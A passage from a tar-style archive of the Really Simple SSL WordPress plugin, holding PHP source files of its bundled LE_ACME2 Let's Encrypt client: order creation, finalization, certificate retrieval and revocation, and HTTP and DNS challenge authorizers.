     * @return Response\AbstractResponse|Response\GetNewNonce
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_HEAD,
            Cache\DirectoryResponse::getInstance()->get()->getNewNonce()
        );

        return new Response\GetNewNonce($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Order/Finalize.php000064400000003270147510273070025546 0ustar00<?php

namespace LE_ACME2\Request\Order;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;
use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;

use LE_ACME2\Order;

class Finalize extends AbstractRequest {

    protected $_order;
    protected $_orderResponse;

    public function __construct(Order $order, Response\Order\AbstractOrder $orderResponse) {

        $this->_order = $order;
        $this->_orderResponse = $orderResponse;
    }

    /**
     * @return Response\AbstractResponse|Response\Order\Finalize
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $csr = Utilities\Certificate::generateCSR($this->_order);

        if(preg_match('~-----BEGIN\sCERTIFICATE\sREQUEST-----(.*)-----END\sCERTIFICATE\sREQUEST-----~s', $csr, $matches))
            $csr = $matches[1];

        $csr = trim(Utilities\Base64::UrlSafeEncode(base64_decode($csr)));

        $payload = [
            'csr' => $csr
        ];

        $kid = Utilities\RequestSigner::KID(
            $payload,
            Cache\AccountResponse::getInstance()->get($this->_order->getAccount())->getLocation(),
            $this->_orderResponse->getFinalize(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_order->getAccount()->getKeyDirectoryPath()
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            $this->_orderResponse->getFinalize(),
            $kid
        );

        return new Response\Order\Finalize($result);
    }
}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Order/RevokeCertificate.php000064400000003441147510273070027324 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Request\Order;
defined('ABSPATH') or die();

use LE_ACME2\Response;
use LE_ACME2\Request\AbstractRequest;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Struct;
use LE_ACME2\Utilities;

class RevokeCertificate extends AbstractRequest {

    protected $_certificateBundle;
    protected $_reason;

    public function __construct(Struct\CertificateBundle $certificateBundle, $reason) {

        $this->_certificateBundle = $certificateBundle;
        $this->_reason = $reason;
    }

    /**
     * @return Response\AbstractResponse|Response\Order\RevokeCertificate
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $certificate = file_get_contents($this->_certificateBundle->path . $this->_certificateBundle->certificate);
        preg_match('~-----BEGIN\sCERTIFICATE-----(.*)-----END\sCERTIFICATE-----~s', $certificate, $matches);
        $certificate = trim(Utilities\Base64::UrlSafeEncode(base64_decode(trim($matches[1]))));

        $payload = [
            'certificate' => $certificate,
            'reason' => $this->_reason
        ];

        $jwk = Utilities\RequestSigner::JWKString(
            $payload,
            Cache\DirectoryResponse::getInstance()->get()->getRevokeCert(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_certificateBundle->path,
            $this->_certificateBundle->private
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            Cache\DirectoryResponse::getInstance()->get()->getRevokeCert(),
            $jwk
        );

        return new Response\Order\RevokeCertificate($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Order/Get.php000064400000002546147510273070024531 0ustar00<?php

namespace LE_ACME2\Request\Order;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;
use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;

use LE_ACME2\Order;

class Get extends AbstractRequest {

    protected $_order;
    protected $_orderResponse;

    public function __construct(Order $order, Response\Order\AbstractOrder $orderResponse) {

        $this->_order = $order;
        $this->_orderResponse = $orderResponse;
    }

    /**
     * @return Response\AbstractResponse|Response\Order\Get
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $kid = Utilities\RequestSigner::KID(
            null,
            Cache\AccountResponse::getInstance()->get($this->_order->getAccount())->getLocation(),
            $this->_orderResponse->getLocation(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_order->getAccount()->getKeyDirectoryPath()
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            $this->_orderResponse->getLocation(),
            $kid
        );

        return new Response\Order\Get($result, $this->_orderResponse->getLocation());
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Order/GetCertificate.php000064400000003175147510273070026673 0ustar00<?php

namespace LE_ACME2\Request\Order;
defined('ABSPATH') or die();

use LE_ACME2\Order;
use LE_ACME2\Request\AbstractRequest;
use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;

class GetCertificate extends AbstractRequest {

    protected $_order;
    protected $_orderResponse;

    private $_alternativeUrl = null;

    public function __construct(Order $order, Response\Order\AbstractOrder $orderResponse,
                                string $alternativeUrl = null
    ) {
        $this->_order = $order;
        $this->_orderResponse = $orderResponse;

        if($alternativeUrl !== null) {
            $this->_alternativeUrl = $alternativeUrl;
        }
    }

    /**
     * @return Response\AbstractResponse|Response\Order\GetCertificate
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $url = $this->_alternativeUrl === null ?
            $this->_orderResponse->getCertificate() :
            $this->_alternativeUrl;

        $kid = Utilities\RequestSigner::KID(
            null,
            Cache\AccountResponse::getInstance()->get($this->_order->getAccount())->getLocation(),
            $url,
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_order->getAccount()->getKeyDirectoryPath()
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            $url,
            $kid
        );

        return new Response\Order\GetCertificate($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Order/Create.php000064400000003137147510273070025212 0ustar00<?php

namespace LE_ACME2\Request\Order;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;
use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;

use LE_ACME2\Order;

class Create extends AbstractRequest {

    protected $_order;

    public function __construct(Order $order) {

        $this->_order = $order;
    }

    /**
     * @return Response\AbstractResponse|Response\Order\Create
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $identifiers = [];
        foreach($this->_order->getSubjects() as $subject) {

            $identifiers[] = [
                'type' => 'dns',
                'value' => $subject
            ];
        }

        $payload = [
            'identifiers' => $identifiers,
            'notBefore' => '',
            'notAfter' => '',
        ];

        $kid = Utilities\RequestSigner::KID(
            $payload,
            Cache\AccountResponse::getInstance()->get($this->_order->getAccount())->getLocation(),
            Cache\DirectoryResponse::getInstance()->get()->getNewOrder(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_order->getAccount()->getKeyDirectoryPath()
        );
        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            Cache\DirectoryResponse::getInstance()->get()->getNewOrder(),
            $kid
        );

        return new Response\Order\Create($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Authorizer/HTTP.php000064400000010043147510273070024211 0ustar00<?php

namespace LE_ACME2\Authorizer;
defined('ABSPATH') or die();

use LE_ACME2\Request;
use LE_ACME2\Response;

use LE_ACME2\Struct\ChallengeAuthorizationKey;
use LE_ACME2\Utilities;
use LE_ACME2\Exception;

use LE_ACME2\Order;

class HTTP extends AbstractAuthorizer {

    protected static $_directoryPath = null;

    public static function setDirectoryPath(string $directoryPath) {

        if(!file_exists($directoryPath)) {
            throw new \RuntimeException('HTTP authorization directory path does not exist');
        }

        self::$_directoryPath = realpath($directoryPath) . DIRECTORY_SEPARATOR;
    }

    public static function getDirectoryPath() : ?string {
        return self::$_directoryPath;
    }

    protected function _getChallengeType(): string {
        return Order::CHALLENGE_TYPE_HTTP;
    }

    /**
     * @param Response\Authorization\Struct\Challenge $challenge
     * @param Response\Authorization\Get $authorizationResponse
     * @return bool
     *
     * @throws Exception\AuthorizationInvalid
     * @throws Exception\ExpiredAuthorization
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    protected function _existsNotValidChallenges(Response\Authorization\Struct\Challenge $challenge,
                                                 Response\Authorization\Get $authorizationResponse
    ) : bool {

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_DEBUG,
            'Challenge "' . $challenge->token . '" has status:' . $challenge->status
        );

        if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_PENDING) {

            $this->_writeToFile($challenge);
            if($this->_validateFile($authorizationResponse->getIdentifier()->value, $challenge)) {

                $request = new Request\Authorization\Start($this->_account, $this->_order, $challenge);
                /* $response = */ $request->getResponse();
            } else {

                Utilities\Logger::getInstance()->add(Utilities\Logger::LEVEL_INFO, 'Could not validate HTTP Authorization file');
            }
        }

        if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_INVALID) {
            throw new Exception\HTTPAuthorizationInvalid(
                'Received status "' . Response\Authorization\Struct\Challenge::STATUS_INVALID . '" while challenge should be verified'
            );
        }

        return parent::_existsNotValidChallenges($challenge, $authorizationResponse);
    }

    private function _writeToFile(Response\Authorization\Struct\Challenge $challenge) : void {

        file_put_contents(
            self::$_directoryPath . $challenge->token,
            (new ChallengeAuthorizationKey($this->_account))->get($challenge->token)
        );
    }

    /**
     * @param string $domain
     * @param Response\Authorization\Struct\Challenge $challenge
     * @return bool
     *
     * @throws Exception\HTTPAuthorizationInvalid
     */
    private function _validateFile(string $domain, Response\Authorization\Struct\Challenge $challenge) : bool {

	    if ( get_option('rsssl_skip_challenge_directory_request') ) {
		    return true;
	    }

        $challengeAuthorizationKey = new ChallengeAuthorizationKey($this->_account);

        $requestURL = 'http://' . $domain . '/.well-known/acme-challenge/' . $challenge->token;
        $handle = curl_init();
        curl_setopt($handle, CURLOPT_URL, $requestURL);
        curl_setopt($handle, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($handle);

        $result = !empty($response) && $response == $challengeAuthorizationKey->get($challenge->token);

        if(!$result) {

            throw new Exception\HTTPAuthorizationInvalid(
                'HTTP challenge for "' . $domain . '"": ' .
                $domain . '/.well-known/acme-challenge/' . $challenge->token .
                ' tested, found invalid. CURL response: ' . var_export($response, true)
            );
        }
        return true;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Authorizer/AbstractDNSWriter.php000064400000000663147510273070026746 0ustar00<?php

namespace LE_ACME2\Authorizer;
defined('ABSPATH') or die();
use LE_ACME2\Order;

abstract class AbstractDNSWriter {

    /**
     * @param Order $order
     * @param string $identifier
     * @param string $digest
     *
     * @return bool return true, if the dns configuration is usable and the process should be progressed
     */
    abstract public function write(Order $order, string $identifier, string $digest) : bool;
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Authorizer/DNS.php000064400000004566147510273070024073 0ustar00<?php

namespace LE_ACME2\Authorizer;
defined('ABSPATH') or die();

use LE_ACME2\Request;
use LE_ACME2\Response;
use LE_ACME2\Exception;

use LE_ACME2\Order;
use LE_ACME2\Struct\ChallengeAuthorizationKey;
use LE_ACME2\Utilities;

class DNS extends AbstractAuthorizer {

    protected function _getChallengeType(): string {
        return Order::CHALLENGE_TYPE_DNS;
    }

    /** @var AbstractDNSWriter $_dnsWriter */
    private static $_dnsWriter = null;

    public static function setWriter(AbstractDNSWriter $dnsWriter) : void {
        self::$_dnsWriter = $dnsWriter;
    }

    /**
     * @param Response\Authorization\Struct\Challenge $challenge
     * @param Response\Authorization\Get $authorizationResponse
     * @return bool
     *
     * @throws Exception\AuthorizationInvalid
     * @throws Exception\DNSAuthorizationInvalid
     * @throws Exception\ExpiredAuthorization
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    protected function _existsNotValidChallenges(Response\Authorization\Struct\Challenge $challenge,
                                                 Response\Authorization\Get $authorizationResponse
    ) : bool {

        if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_PENDING) {

            if(self::$_dnsWriter === null) {
                throw new \RuntimeException('DNS writer is not set');
            }

            if( self::$_dnsWriter->write(
                    $this->_order,
                    $authorizationResponse->getIdentifier()->value,
                    (new ChallengeAuthorizationKey($this->_account))->getEncoded($challenge->token)
                )
            ) {
                $request = new Request\Authorization\Start($this->_account, $this->_order, $challenge);
                /* $response = */ $request->getResponse();
            } else {

                Utilities\Logger::getInstance()->add(Utilities\Logger::LEVEL_INFO, 'Pending challenge deferred');
            }
        }

        if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_INVALID) {
            throw new Exception\DNSAuthorizationInvalid(
                'Received status "' . Response\Authorization\Struct\Challenge::STATUS_INVALID . '" while challenge should be verified'
            );
        }

        return parent::_existsNotValidChallenges($challenge, $authorizationResponse);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Authorizer/AbstractAuthorizer.php000064400000012016147510273070027254 0ustar00<?php

namespace LE_ACME2\Authorizer;
defined('ABSPATH') or die();

use LE_ACME2\Request;
use LE_ACME2\Response;

use LE_ACME2\Cache;
use LE_ACME2\Utilities;
use LE_ACME2\Exception;

use LE_ACME2\Account;
use LE_ACME2\Order;

abstract class AbstractAuthorizer {

    protected $_account;
    protected $_order;

    /**
     * AbstractAuthorizer constructor.
     *
     * @param Account $account
     * @param Order $order
     *
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\ExpiredAuthorization
     */
    public function __construct(Account $account, Order $order) {

        $this->_account = $account;
        $this->_order = $order;

        $this->_fetchAuthorizationResponses();
    }

    /** @var Response\Authorization\Get[] $_authorizationResponses */
    protected $_authorizationResponses = [];

    /**
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\ExpiredAuthorization
     */
    protected function _fetchAuthorizationResponses() {

        if(!file_exists($this->_order->getKeyDirectoryPath() . 'private.pem')) {

            Utilities\Logger::getInstance()->add(
                Utilities\Logger::LEVEL_DEBUG,
                get_class() . '::' . __FUNCTION__ . ' result suppressed (Order has finished already)'
            );

            return;
        }

        $orderResponse = Cache\OrderResponse::getInstance()->get($this->_order);

        foreach($orderResponse->getAuthorizations() as $authorization) {

            $request = new Request\Authorization\Get($this->_account, $authorization);
            $this->_authorizationResponses[] = $request->getResponse();
        }
    }

    protected function _hasValidAuthorizationResponses() : bool {

        return count($this->_authorizationResponses) > 0;
    }

    public function shouldStartAuthorization() : bool {

        foreach($this->_authorizationResponses as $response) {

            $challenge = $response->getChallenge($this->_getChallengeType());
            if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_PENDING) {

                Utilities\Logger::getInstance()->add(
                    Utilities\Logger::LEVEL_DEBUG,
                    get_class() . '::' . __FUNCTION__ . ' "Pending challenge found',
                    $challenge
                );

                return true;
            }
        }
        return false;
    }

    abstract protected function _getChallengeType() : string;

    /**
     * @throws Exception\AuthorizationInvalid
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\ExpiredAuthorization
     */
    public function progress() {

        if(!$this->_hasValidAuthorizationResponses())
            return;

        $existsNotValidChallenges = false;

        foreach($this->_authorizationResponses as $authorizationResponse) {

            $challenge = $authorizationResponse->getChallenge($this->_getChallengeType());

            if($this->_existsNotValidChallenges($challenge, $authorizationResponse)) {
                $existsNotValidChallenges = true;
            }
        }

        $this->_finished = !$existsNotValidChallenges;
    }

    /**
     * @param Response\Authorization\Struct\Challenge $challenge
     * @param Response\Authorization\Get $authorizationResponse
     * @return bool
     *
     * @throws Exception\AuthorizationInvalid
     */
    protected function _existsNotValidChallenges(Response\Authorization\Struct\Challenge $challenge,
                                                 Response\Authorization\Get $authorizationResponse
    ) : bool {

        if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_PENDING) {

            Utilities\Logger::getInstance()->add(
                Utilities\Logger::LEVEL_DEBUG,
                get_class() . '::' . __FUNCTION__ . ' "Non valid challenge found',
                $challenge
            );

            return true;
        }
        else if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_PROGRESSING) {

            // Should come back later
            return true;
        }
        else if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_VALID) {

        }
        else if($challenge->status == Response\Authorization\Struct\Challenge::STATUS_INVALID) {
            throw new Exception\AuthorizationInvalid(
                'Received status "' . Response\Authorization\Struct\Challenge::STATUS_INVALID . '" while challenge should be verified'
            );
        }
        else {

            throw new \RuntimeException('Challenge status "' . $challenge->status . '" is not implemented');
        }

        return false;
    }

    protected $_finished = false;

    public function hasFinished() : bool {

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_DEBUG,
            get_called_class() . '::' . __FUNCTION__,
            $this->_finished
        );

        return $this->_finished;
    }
}

really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Order.php000064400000033573147510273070022366 0ustar00<?php

namespace LE_ACME2;
defined('ABSPATH') or die();

use LE_ACME2\Request;
use LE_ACME2\Response;

use LE_ACME2\Cache;
use LE_ACME2\Authorizer;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;

class Order extends AbstractKeyValuable {

    const CHALLENGE_TYPE_HTTP = 'http-01';
    const CHALLENGE_TYPE_DNS = 'dns-01';

    /**
     * @deprecated
     * @param $directoryPath
     */
    public static function setHTTPAuthorizationDirectoryPath(string $directoryPath) {

        Authorizer\HTTP::setDirectoryPath($directoryPath);
    }

    CONST IDENTRUST_ISSUER_CN = 'DST Root CA X3';

    /** @var string|null $_preferredChain */
    private static $_preferredChain = null;

    public static function setPreferredChain(string $issuerCN = null) {
        self::$_preferredChain = $issuerCN;
    }

    protected $_account;
    protected $_subjects;

    public function __construct(Account $account, array $subjects) {

        array_map(function($subject) {

            if(preg_match_all('~(\*\.)~', $subject) > 1)
                throw new \RuntimeException('Cannot create orders with multiple wildcards in one domain.');

        }, $subjects);

        $this->_account = $account;
        $this->_subjects = $subjects;

        $this->_identifier = $this->_getAccountIdentifier($account) . DIRECTORY_SEPARATOR .
            'order_' . md5(implode('|', $subjects));

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_INFO,
            get_class() . '::' . __FUNCTION__ .  ' "' . implode(':', $this->getSubjects()) . '"'
        );

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_DEBUG,
            get_class() . '::' . __FUNCTION__ .  ' path: ' . $this->getKeyDirectoryPath()
        );
    }

    public function getAccount() : Account {
        return $this->_account;
    }

    public function getSubjects() : array {

        return $this->_subjects;
    }

    /**
     * @param Account $account
     * @param array $subjects
     * @param string $keyType
     * @return Order
     * @throws Exception\AbstractException
     */
    public static function create(Account $account, array $subjects, string $keyType = self::KEY_TYPE_RSA) : Order {

        $order = new self($account, $subjects);
        return $order->_create($keyType, false);
    }

    /**
     * @param $keyType
     * @param bool $ignoreIfKeysExist
     * @return Order
     * @throws Exception\AbstractException
     */
    protected function _create(string $keyType, bool $ignoreIfKeysExist = false) : Order {

        $this->_initKeyDirectory($keyType, $ignoreIfKeysExist);

        $request = new Request\Order\Create($this);

        try {
            $response = $request->getResponse();

            Cache\OrderResponse::getInstance()->set($this, $response);
            return $this;

        } catch(Exception\AbstractException $e) {
            $this->_clearKeyDirectory();
            throw $e;
        }
    }

    public static function exists(Account $account, array $subjects) : bool {

        $order = new self($account, $subjects);
        return Cache\OrderResponse::getInstance()->exists($order);
    }

    public static function get(Account $account, array $subjects) : Order {

        $order = new self($account, $subjects);

        if(!self::exists($account, $subjects))
            throw new \RuntimeException('Order does not exist');

        return $order;
    }

    /** @var Authorizer\AbstractAuthorizer|Authorizer\HTTP|null $_authorizer  */
    protected $_authorizer = null;

    /**
     * @param $type
     * @return Authorizer\AbstractAuthorizer|Authorizer\HTTP|null
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\ExpiredAuthorization
     */
    protected function _getAuthorizer(string $type) : Authorizer\AbstractAuthorizer {

        if($this->_authorizer === null) {

            if($type == self::CHALLENGE_TYPE_HTTP) {
                $this->_authorizer = new Authorizer\HTTP($this->_account, $this);
            } else if($type == self::CHALLENGE_TYPE_DNS) {
                $this->_authorizer = new Authorizer\DNS($this->_account, $this);
            } else {
                throw new \RuntimeException('Challenge type not implemented');
            }
        }
        return $this->_authorizer;
    }

    /**
     * The Authorization has expired, so we clean the complete order to restart again on the next call
     */
    protected function _clearAfterExpiredAuthorization() {

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_INFO,
            get_class() . '::' . __FUNCTION__ . ' "Will clear after expired authorization'
        );

        $this->clear();
    }

    public function clear() {
        Cache\OrderResponse::getInstance()->set($this, null);
        $this->_clearKeyDirectory();
    }

    /**
     * @return bool
     * @param $type
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function shouldStartAuthorization(string $type) : bool {

        try {
            return $this->_getAuthorizer($type)->shouldStartAuthorization();
        } catch(Exception\ExpiredAuthorization $e) {

            $this->_clearAfterExpiredAuthorization();

            return false;
        }
    }

    /**
     * @param $type
     * @return bool
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\AuthorizationInvalid
     */
    public function authorize(string $type) : bool {

        try {
            $authorizer = $this->_getAuthorizer($type);
            $authorizer->progress();

            return $authorizer->hasFinished();
        } catch(Exception\ExpiredAuthorization $e) {

            $this->_clearAfterExpiredAuthorization();

            return false;
        }
    }

    /**
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function finalize() {

        if(!is_object($this->_authorizer) || !$this->_authorizer->hasFinished()) {

            throw new \RuntimeException('Not all challenges are valid. Please check result of authorize() first!');
        }

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_INFO,
            get_class() . '::' . __FUNCTION__ . ' "Will finalize'
        );

        $orderResponse = Cache\OrderResponse::getInstance()->get($this);

        if(
            $orderResponse->getStatus() == Response\Order\AbstractOrder::STATUS_PENDING /* DEPRECATED AFTER JULI 5TH 2018 */ ||
            $orderResponse->getStatus() == Response\Order\AbstractOrder::STATUS_READY   // ACME draft-12 Section 7.1.6
        ) {

            $request = new Request\Order\Finalize($this, $orderResponse);
            $orderResponse = $request->getResponse();
            Cache\OrderResponse::getInstance()->set($this, $orderResponse);
        }

        if($orderResponse->getStatus() == Response\Order\AbstractOrder::STATUS_VALID) {

            $request = new Request\Order\GetCertificate($this, $orderResponse);
            $response = $request->getResponse();

            $certificate = $response->getCertificate();
            $intermediate = $response->getIntermediate();

            //$certificateInfo = openssl_x509_parse($certificate);
            //$certificateValidToTimeTimestamp = $certificateInfo['validTo_time_t'];
            $intermediateInfo = openssl_x509_parse($intermediate);

            if(self::$_preferredChain !== null) {
                Utilities\Logger::getInstance()->add(
                    Utilities\Logger::LEVEL_INFO,
                    'Preferred chain is set: ' . self::$_preferredChain
                );
            }

            $found = false;
            if(self::$_preferredChain !== null && $intermediateInfo['issuer']['CN'] != self::$_preferredChain) {

                Utilities\Logger::getInstance()->add(
                    Utilities\Logger::LEVEL_INFO,
                    'Default certificate does not satisfy preferred chain, trying to fetch alternative'
                );

                foreach($response->getAlternativeLinks() as $link) {

                    $request = new Request\Order\GetCertificate($this, $orderResponse, $link);
                    $response = $request->getResponse();

                    $alternativeCertificate = $response->getCertificate();
                    $alternativeIntermediate = $response->getIntermediate();

                    $intermediateInfo = openssl_x509_parse($intermediate);
                    if($intermediateInfo['issuer']['CN'] != self::$_preferredChain) {
                        continue;
                    }

                    $found = true;

                    $certificate = $alternativeCertificate;
                    $intermediate = $alternativeIntermediate;

                    break;
                }

                if(!$found) {
                    Utilities\Logger::getInstance()->add(
                        Utilities\Logger::LEVEL_INFO,
                        'Preferred chain could not be satisfied, returning default chain'
                    );
                }
            }

            $this->_saveCertificate($certificate, $intermediate);
        }
    }

    private function _saveCertificate(string $certificate, string $intermediate) : void {

        $certificateInfo = openssl_x509_parse($certificate);
        $certificateValidToTimeTimestamp = $certificateInfo['validTo_time_t'];

        $path = $this->getKeyDirectoryPath() . self::BUNDLE_DIRECTORY_PREFIX . $certificateValidToTimeTimestamp . DIRECTORY_SEPARATOR;

        mkdir($path);
        rename($this->getKeyDirectoryPath() . 'private.pem', $path . 'private.pem');
        file_put_contents($path . 'certificate.crt', $certificate);
        file_put_contents($path . 'intermediate.pem', $intermediate);

        Utilities\Logger::getInstance()->add(Utilities\Logger::LEVEL_INFO, 'Certificate received');
    }

    const BUNDLE_DIRECTORY_PREFIX = 'bundle_';

    protected function _getLatestCertificateDirectory() : ?string {

        $files = scandir($this->getKeyDirectoryPath(), SORT_NUMERIC | SORT_DESC);
        foreach($files as $file) {
            if(
                substr($file, 0, strlen(self::BUNDLE_DIRECTORY_PREFIX)) == self::BUNDLE_DIRECTORY_PREFIX &&
                is_dir($this->getKeyDirectoryPath() . $file)
            ) {
                return $file;
            }
        }
        return null;
    }

    public function isCertificateBundleAvailable() : bool {

        return $this->_getLatestCertificateDirectory() !== NULL;
    }

    public function getCertificateBundle() : Struct\CertificateBundle {

        if(!$this->isCertificateBundleAvailable()) {
            throw new \RuntimeException('There is no certificate available');
        }

        $certificatePath = $this->getKeyDirectoryPath() . $this->_getLatestCertificateDirectory();

        return new Struct\CertificateBundle(
            $certificatePath . DIRECTORY_SEPARATOR,
            'private.pem',
            'certificate.crt',
            'intermediate.pem',
            self::_getExpireTimeFromCertificateDirectoryPath($certificatePath)
        );
    }

    /**
     * @param string $keyType
     * @param int|null $renewBefore Unix timestamp
     * @throws Exception\AbstractException
     */
    public function enableAutoRenewal($keyType = self::KEY_TYPE_RSA, int $renewBefore = null) {

        if($keyType === null) {
            $keyType = self::KEY_TYPE_RSA;
        }

        if(!$this->isCertificateBundleAvailable()) {
            throw new \RuntimeException('There is no certificate available');
        }

        $orderResponse = Cache\OrderResponse::getInstance()->get($this);
        if(
            $orderResponse === null ||
            $orderResponse->getStatus() != Response\Order\AbstractOrder::STATUS_VALID
        ) {
            return;
        }

        Utilities\Logger::getInstance()->add(Utilities\Logger::LEVEL_DEBUG,'Auto renewal triggered');

        $directory = $this->_getLatestCertificateDirectory();

        $expireTime = self::_getExpireTimeFromCertificateDirectoryPath($directory);

        if($renewBefore === null) {
            $renewBefore = strtotime('-30 days', $expireTime);
        }

        if($renewBefore < time()) {

            Utilities\Logger::getInstance()->add(Utilities\Logger::LEVEL_INFO,'Auto renewal: Will recreate order');

            $this->_create($keyType, true);
        }
    }

    /**
     * @param int $reason The reason to revoke the LetsEncrypt Order instance certificate.
     *                    Possible reasons can be found in section 5.3.1 of RFC5280.
     * @return bool
     * @throws Exception\RateLimitReached
     */
    public function revokeCertificate(int $reason = 0) : bool {

        if(!$this->isCertificateBundleAvailable()) {
            throw new \RuntimeException('There is no certificate available to revoke');
        }

        $bundle = $this->getCertificateBundle();

        $request = new Request\Order\RevokeCertificate($bundle, $reason);

        try {
            /* $response = */ $request->getResponse();
            rename(
                $this->getKeyDirectoryPath(),
                $this->_getKeyDirectoryPath('-revoked-' . microtime(true))
            );
            return true;
        } catch(Exception\InvalidResponse $e) {
            return false;
        }
    }

    protected static function _getExpireTimeFromCertificateDirectoryPath(string $path) {

        $stringPosition = strrpos($path, self::BUNDLE_DIRECTORY_PREFIX);
        if($stringPosition === false) {
            throw new \RuntimeException('ExpireTime not found in' . $path);
        }

        $expireTime = substr($path, $stringPosition + strlen(self::BUNDLE_DIRECTORY_PREFIX));
        if(
            !is_numeric($expireTime) ||
            $expireTime < strtotime('-10 years') ||
            $expireTime > strtotime('+10 years')
        ) {
            throw new \RuntimeException('Unexpected expireTime: ' . $expireTime);
        }
        return $expireTime;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Struct/CertificateBundle.php000064400000001024147510273070026135 0ustar00<?php

namespace LE_ACME2\Struct;
defined('ABSPATH') or die();

class CertificateBundle {

    public $path;
    public $private;
    public $certificate;
    public $intermediate;
    public $expireTime;

    public function __construct(string $path, string $private, string $certificate, string $intermediate, int $expireTime) {

        $this->path = $path;
        $this->private = $private;
        $this->certificate = $certificate;
        $this->intermediate = $intermediate;
        $this->expireTime = $expireTime;
    }
}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Struct/ChallengeAuthorizationKey.php000064400000002100147510273070027612 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Struct;
defined('ABSPATH') or die();

use LE_ACME2\Account;
use LE_ACME2\Utilities;

class ChallengeAuthorizationKey {

    private $_account;

    public function __construct(Account $account) {
        $this->_account = $account;
    }

    public function get(string $token) : string {
        return $token . '.' . $this->_getDigest();
    }

    public function getEncoded(string $token) : string {
        return Utilities\Base64::UrlSafeEncode(
            hash('sha256', $this->get($token), true)
        );
    }

    private function _getDigest() : string {

        $privateKey = openssl_pkey_get_private(file_get_contents($this->_account->getKeyDirectoryPath() . 'private.pem'));
        $details = openssl_pkey_get_details($privateKey);

        $header = array(
            "e" => Utilities\Base64::UrlSafeEncode($details["rsa"]["e"]),
